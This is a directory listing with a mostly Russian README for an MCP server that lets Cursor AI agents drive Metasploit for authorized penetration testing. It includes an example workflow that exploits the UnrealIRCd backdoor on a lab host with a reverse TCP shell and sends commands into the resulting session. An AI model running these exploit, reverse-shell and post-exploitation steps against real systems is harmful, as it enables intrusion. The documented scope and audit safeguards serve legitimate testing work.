Skip to main content
Glama
Suzu-Testing

msf-harness

by Suzu-Testing

Metasploit Cursor Harness

CI Python 3.10+ License: MIT Coverage

Агентный инструментарий для пентеста, который связывает ИИ-агентов Cursor с Metasploit Framework через MCP (Model Context Protocol). Обеспечивает структурированный доступ с ограничением области к Metasploit RPC через 54 специализированных инструмента, охватывающих разведку, эксплуатацию, управление сессиями, пост-эксплуатацию, пивотинг, генерацию полезных нагрузок и операции с базой данных.

Создан для авторизованных лабораторных и профессиональных пентест-процессов с явными правилами взаимодействия, серверным применением политик, журналированием аудита и методологией фаз/шлюзов, согласованной с PTES.

Почему этот инструментарий

Возможность

Этот инструментарий

Official msfmcpd

GH05TCREW/MetasploitMCP

Количество инструментов

54

~23

~15

Серверные правила взаимодействия (CIDR, модуль, сессия)

Да

Нет

Нет

Хуки Cursor (шлюзы области, оценка риска, доказательства)

18 скриптов

Нет

Нет

Фазы/шлюзы рабочего процесса PTES

7 фаз, 57 навыков

Нет

Нет

Выполнение эксплойта через консоль

Да

Нет

Да

asyncio.to_thread (non-blocking)

Да

Да

Нет

Авторизация домена

Да (закрытие при сбое)

Нет

Нет

Автоматическое определение LHOST

Да (кроссплатформенно)

Нет

Нет

Проверка перед эксплойтом (шлюз)

Обязательно

Нет

Нет

Журналирование аудита + состояние мира

Да

Нет

Нет

Автономные навыки пентеста

57 навыков по 5 уровням

Нет

Нет

Related MCP server: MSFConsole MCP Server

Возможности

  • 54 инструмента MCP, охватывающих разведку, эксплуатацию, сессии, операции Meterpreter, пивотинг, полезные нагрузки, обработчики, рабочие области, консоль, запись в базу данных и лабораторные помощники

  • Эксплойты с приоритетом консоли с синхронным захватом вывода, обнаружением сессий и разбором ошибок

  • Серверное применение правил взаимодействия: область CIDR, авторизация домена, ограничения ширины CIDR, лимиты сессий, блокировка DoS, шлюз проверки перед эксплойтом

  • 18 скриптов хуков Cursor: проверка области, оценка риска (0-100), обнаружение дубликатов, журналирование доказательств, отслеживание состояния мира, редактирование учётных данных

  • 57 автономных навыков агента: рабочий процесс PTES, специализированные плейбуки (веб, AD, облако, контейнеры, мобильные, бинарные, обход, уровень служб, класс уязвимостей)

  • 5 специализированных субагентов: оркестратор, разведка, эксплойт, пост-эксплуатация, рецензент

Поддержка платформ

Платформа

Статус

Примечания

Windows + WSL2 + Kali

Основная

Полный конвейер хуков, поддержка лабораторного Docker

Нативный Linux / Kali

Поддерживается

Требуется pwsh для хуков; нативный msfrpcd

macOS + удалённый MSF

Экспериментальная

Сервер MCP работает; для хуков нужен pwsh; укажите MSF_HOST на удалённый RPC

Предварительные требования

  • Python 3.10+

  • Metasploit Framework (в WSL/Kali или нативном Linux)

  • IDE Cursor с поддержкой MCP

  • PowerShell Core (pwsh) для конвейера хуков

  • Авторизованные цели, определённые в scope/scope-master.txt

Быстрый старт

1. Клонирование и установка

git clone https://github.com/Suzu-Testing/metasploit-cursor-harness.git
cd metasploit-cursor-harness
python -m venv .venv
# Windows: .venv\Scripts\activate
# Linux/macOS: source .venv/bin/activate
pip install -e ".[mcp]"

2. Настройка учётных данных

cp .env.example .env
# Edit .env: set MSF_PASSWORD (must match what you pass to msfrpcd)

3. Запуск Metasploit RPC

Windows (WSL):

.\scripts\start-msfrpcd.ps1

Linux / Kali (native):

./scripts/start-msfrpcd.sh

4. Включение MCP в Cursor

cp .cursor/mcp.json.example .cursor/mcp.json
# Edit mcp.json: set "cwd" to your absolute project path

Включите msf-harness в настройках Cursor > MCP.

5. Проверка установки

python scripts/doctor.py       # Check all prerequisites
python scripts/validate-mcp.py  # Test RPC connectivity

Затем в чате Cursor выполните msf_status, чтобы подтвердить подключение MCP.

6. Лабораторные цели (необязательно)

См. docs/LAB.md для встроенной лаборатории Docker Metasploitable2.

Для HackTheBox, TryHackMe, OSCP или собственных целей см. docs/BYO-TARGETS.md.

Подробные инструкции по установке см. в docs/SETUP.md.

Или запустите однокомандную начальную настройку:

.\scripts\bootstrap.ps1

Ваш первый эксплойт

После завершения настройки и работы msf_status в чате Cursor попробуйте эту сквозную демонстрацию на лаборатории Docker:

1. Запустите лабораторные цели:

.\scripts\start-lab-targets.ps1

2. В чате Cursor попросите агента эксплуатировать лабораторию:

Просканируйте лабораторную цель на 10.255.255.254 порт 9667 и эксплуатируйте бэкдор UnrealIRCd, используя engagement lab-default

Агент выполнит:

  1. Запустит msf_module_check для проверки уязвимости цели (требуется правилами взаимодействия)

  2. Вызовет msf_get_lab_network для автоматического определения LHOST

  3. Запустит msf_run_exploit с exploit/unix/irc/unreal_ircd_3281_backdoor

  4. Вызовет msf_list_active_sessions для подтверждения оболочки

  5. Использует msf_send_session_command для выполнения команд на цели

Или сделайте это пошагово с помощью отдельных вызовов инструментов MCP:

msf_status                              # Verify RPC connection
msf_get_lab_network                     # Get LHOST and port map
msf_module_check(...)                   # Probe for vulnerability
msf_run_exploit(...)                    # Pop a shell
msf_send_session_command(command="id")  # Run commands on target

См. docs/LAB.md для полной карты портов и примечаний по конкретным эксплойтам.

Архитектура

Cursor Agent
  |-- Rules (.cursor/rules/: ROE, MCP routing, workflow orchestration)
  |-- Skills (.cursor/skills/: 57 pentest playbooks)
  |-- Hooks (.cursor/hooks/: 18 safety scripts, scope gates + evidence logging)
  |-- Subagents (.cursor/agents/: orchestrator, recon, exploit, post, reviewer)
  |
  v
msf-harness MCP Server (Python, FastMCP, stdio transport)
  |-- Read tools (23: search, info, hosts, services, vulns, creds, loot, etc.)
  |-- Action tools (31: exploit, aux, post, sessions, handlers, payloads, etc.)
  |-- Policy/ROE (server-side CIDR, domain, module, session validation)
  |-- Console engine (synchronous module execution with output capture)
  |
  v
msfrpcd (WSL/Kali or native Linux, MessagePack RPC, 127.0.0.1:55553)
  |
  v
msfdb (PostgreSQL)

Инструменты MCP (всего 54)

Только чтение (engagement_id не требуется)

Инструмент

Назначение

msf_status

Проверка подключения к RPC, версии, количества сессий

msf_search_modules

Поиск модулей по ключевому слову, CVE или имени

msf_module_info

Параметры модуля, цели, ссылки, ранг

msf_module_options

Получить настраиваемые параметры для модуля

msf_running_stats

Получить статистику по текущим запущенным модулям

msf_list_modules

Список модулей по типу с необязательным фильтром

msf_host_info

Запрос обнаруженных хостов из msfdb

msf_service_info

Запрос обнаруженных служб (порты, протоколы)

msf_vulnerability_info

Запрос записей об уязвимостях

msf_note_info

Запрос аннотаций/заметок

msf_credential_info

Запрос собранных учётных данных

msf_loot_info

Запрос собранных трофеев/файлов

msf_list_active_sessions

Список текущих сессий с типом и целью

msf_session_info

Получить подробную информацию об одной сессии

msf_list_listeners

Список активных обработчиков/фоновых заданий

msf_job_info

Получить сведения о конкретном задании

msf_list_payloads

Поиск доступных полезных нагрузок по имени/платформе/архитектуре

msf_compatible_payloads

Список полезных нагрузок, совместимых с данным модулем

msf_list_workspaces

Список рабочих областей базы данных

msf_db_status

Проверка подключения к базе данных и информации о драйвере

msf_console_list

Список активных экземпляров консоли RPC

msf_get_lab_network

Получить конфигурацию лабораторной цели (порты Docker, LHOST)

msf_route_list

Список активных маршрутов для пивотинга сессий

Действия (требуется engagement_id)

Инструмент

Назначение

msf_module_check

Безопасная проверка уязвимости (не эксплуатирующая)

msf_module_results

Запрос результатов асинхронного задания модуля по UUID

msf_run_exploit

Выполнить модуль эксплойта (консольный режим или режим задания RPC, настраиваемый тайм-аут)

msf_run_auxiliary_module

Запустить вспомогательный модуль (сканер, фаззер; необязательный консольный режим)

msf_run_post_module

Запустить модуль пост-эксплуатации на сессии (необязательный консольный режим)

msf_send_session_command

Выполнить команду в активной оболочке/meterpreter

msf_terminate_session

Завершить сессию

msf_wait_for_session

Ожидание новых сессий после эксплойта/обработчика

msf_session_upgrade

Обновить оболочку до Meterpreter

msf_session_sysinfo

Получить ОС/архитектуру/имя хоста из сессии Meterpreter

msf_session_getuid

Получить идентификатор текущего пользователя из сессии Meterpreter

msf_session_ps

Список запущенных процессов в сессии Meterpreter

msf_session_download

Скачать файл с цели в evidence/

msf_session_upload

Загрузить файл из evidence/ на цель (в песочнице)

msf_session_run_script

Запустить скрипт Meterpreter в сессии

msf_start_listener

Запустить слушатель multi/handler

msf_stop_job

Остановить фоновое задание

msf_cleanup_jobs

Остановить все фоновые задания для освобождения портов

msf_generate_payload

Сгенерировать файл полезной нагрузки (сохраняется в evidence/)

msf_create_workspace

Создать рабочую область базы данных

msf_set_workspace

Переключить активную рабочую область

msf_delete_workspace

Удалить рабочую область базы данных

msf_db_import

Импортировать данные сканирования (nmap XML, Nessus и т. д.)

msf_db_nmap

Запустить nmap и автоматически импортировать результаты

msf_console_execute

Выполнить произвольную команду msfconsole через RPC

msf_route_add

Добавить маршрут через сессию для пивотинга

msf_route_delete

Удалить маршрут

msf_autoroute

Автоматически добавлять маршруты через post/multi/manage/autoroute

msf_report_host

Вручную сообщить о хосте в базу данных

msf_credential_add

Сохранить обнаруженные учётные данные в базе данных

msf_db_add_note

Добавить заметку/аннотацию в базу данных

Пример рабочего процесса

# 1. Verify connection
msf_status()

# 2. Scan target ports
msf_run_auxiliary_module(
  engagement_id="lab-default",
  module_name="auxiliary/scanner/portscan/tcp",
  options={"RHOSTS": "10.255.255.254", "PORTS": "9021,9667,9080"}
)

# 3. Check what's open
msf_service_info(host="10.255.255.254")

# 4. Check before exploit (required by ROE)
msf_module_check(
  engagement_id="lab-default",
  module_type="exploit",
  module_name="unix/irc/unreal_ircd_3281_backdoor",
  options={"RHOSTS": "10.255.255.254", "RPORT": 9667}
)

# 5. Exploit with auto-detected LHOST
lab = msf_get_lab_network()
msf_run_exploit(
  engagement_id="lab-default",
  module_name="unix/irc/unreal_ircd_3281_backdoor",
  options={"RHOSTS": "10.255.255.254", "RPORT": 9667},
  payload="generic/shell_reverse_tcp",
  payload_options={"LHOST": lab["data"]["lhost"], "LPORT": 4449},
  run_check_first=True
)

Модель безопасности

  1. Серверная ROE (msf_harness/mcp/policy/roe.py): проверяет цели на соответствие CIDR-диапазонам engagement, блокирует запрещённые модули, применяет лимиты сессий, ограничивает ширину сканирования CIDR, требует проверку перед эксплуатацией, проверяет домены (fail-closed)

  2. Хуки Cursor (.cursor/hooks/): проверки области действия для каждой команды оболочки и вызова MCP, оценка риска (0-100 с эскалацией CRITICAL), обнаружение дубликатов, аудит-логирование в logs/command-ledger.jsonl, автосохранение доказательств, редактирование учётных данных

  3. Разбор консольных команд: msf_console_execute извлекает и проверяет RHOSTS, пути модулей и цели db_nmap из необработанных команд

  4. Ограничения путей к файлам: msf_db_import и msf_generate_payload ограничены каталогами evidence/ и engagements/

  5. DoS-модули (auxiliary/dos/*) блокируются безусловно

  6. Очистка ввода: аргументы nmap в белом списке, ключи опций проверяются, значения консоли экранируются кавычками

Используйте только на системах, которые вам разрешено тестировать.

Устранение неполадок

Симптом

Исправление

msf_status сообщает "Cannot connect to msfrpcd"

Запустите .\scripts\start-msfrpcd.ps1; проверьте, что msfrpcd слушает порт с помощью wsl -e bash -lc "ss -tlnp | grep 55553"

Сервер MCP не появляется в Cursor

Убедитесь, что .cursor/mcp.json использует абсолютные пути для cwd и PYTHONPATH; перезапустите Cursor

"MSF_PASSWORD is not set"

Установите его в .env (скопируйте из .env.example, если необходимо)

"Target not in scope" или отказ ROE

Добавьте IP/CIDR цели в scope/scope-master.txt И authorized_cidrs в engagements/<id>/roe.yaml

Проверка модуля завершается ошибкой "not supported"

У некоторых модулей нет метода check; это нормально. Действуйте с осторожностью.

Нет сессии после эксплуатации

Проверьте правильность LHOST (msf_get_lab_network); проверьте брандмауэр; попробуйте другой payload

Ошибки хуков в выводе Cursor

Убедитесь, что установлен pwsh (PowerShell 7+): winget install Microsoft.PowerShell

Ошибки импорта Python

Выполните pip install -e ".[mcp]" из корня проекта

Запустите python scripts/doctor.py для полной проверки готовности предварительных требований.

Разработка

pip install -e ".[mcp,dev]"
python -m pytest tests/ -v                                    # 269 Python tests
pwsh -ExecutionPolicy Bypass -File scripts/test-hooks.ps1     # 120 hook tests
python scripts/validate-mcp.py                                # RPC connectivity

См. CONTRIBUTING.md для настройки разработки и рекомендаций по PR.

Структура каталогов

Путь

Назначение

msf_harness/mcp/

Пакет Python MCP-сервера

msf_harness/mcp/tools/

Реализации MCP-инструментов (12 модулей, 54 инструмента)

msf_harness/mcp/rpc/

Клиент Metasploit RPC с автоматическим переподключением

msf_harness/mcp/policy/

Применение ROE (CIDR, домен, модуль, сессия, exploit-gate)

scope/

Авторизованные CIDR-диапазоны и домены целей

engagements/

Конфигурации ROE и состояние рабочего процесса для каждого engagement

evidence/msf/

Собранные доказательства (gitignored)

logs/

Журналы аудита хуков и реестр команд (gitignored)

.cursor/hooks/

Безопасные шлюзы PowerShell Core (18 скриптов)

.cursor/skills/

Плейбуки рабочих процессов агентов (57 навыков)

.cursor/agents/

Пользовательские определения субагентов (5 агентов)

.cursor/rules/

Постоянные руководства для агентов (3 правила + AGENTS.md)

scripts/

Служебные скрипты (запуск RPC, создание engagement, проверка здоровья, проверка MCP)

tests/

Наборы тестов Pytest + хуков

docs/

Руководство по настройке, руководство по лаборатории, руководство по собственным целям

Лицензия

MIT

Благодарности

A
license - permissive license
Not graded
quality - not tested
C
maintenance

Maintenance

Maintainers
Response time
Release cycle
Releases (12mo)
Commit activity

Resources

Unclaimed servers have limited discoverability.

Looking for Admin?

If you are the server author, to access and configure the admin panel.

Related MCP Servers

  • A
    license
    Not graded
    quality
    D
    maintenance
    Enables secure integration with Metasploit Framework for AI assistants, providing comprehensive access to penetration testing tools, module management, payload generation, and database operations. Designed for authorized security testing and defensive analysis with 28 specialized tools covering complete MSF functionality.
    8
    MIT
  • -
    license
    Not graded
    quality
    Not graded
    maintenance
    Enables AI assistants to interact with Metasploit Framework through 28 comprehensive tools for penetration testing and security analysis. Provides secure, structured access to MSF modules, database operations, session management, and payload generation capabilities.
    2

View all related MCP servers

Related MCP Connectors

  • MCP server for Pentest-Tools.com: run scans, manage findings and reports via your preffered LLM.

  • Free public MCP for AI agents — 193 tools, 44 workflows. No API key.

  • Security scanner for MCP servers. Detect vulnerabilities, prompt injection, and tool poisoning.

View all MCP Connectors

Latest Blog Posts

MCP directory API

We provide all the information about MCP servers via our MCP API.

curl -X GET 'https://glama.ai/api/mcp/v1/servers/Suzu-Testing/metasploit-cursor-harness'

If you have feedback or need assistance with the MCP directory API, please join our Discord server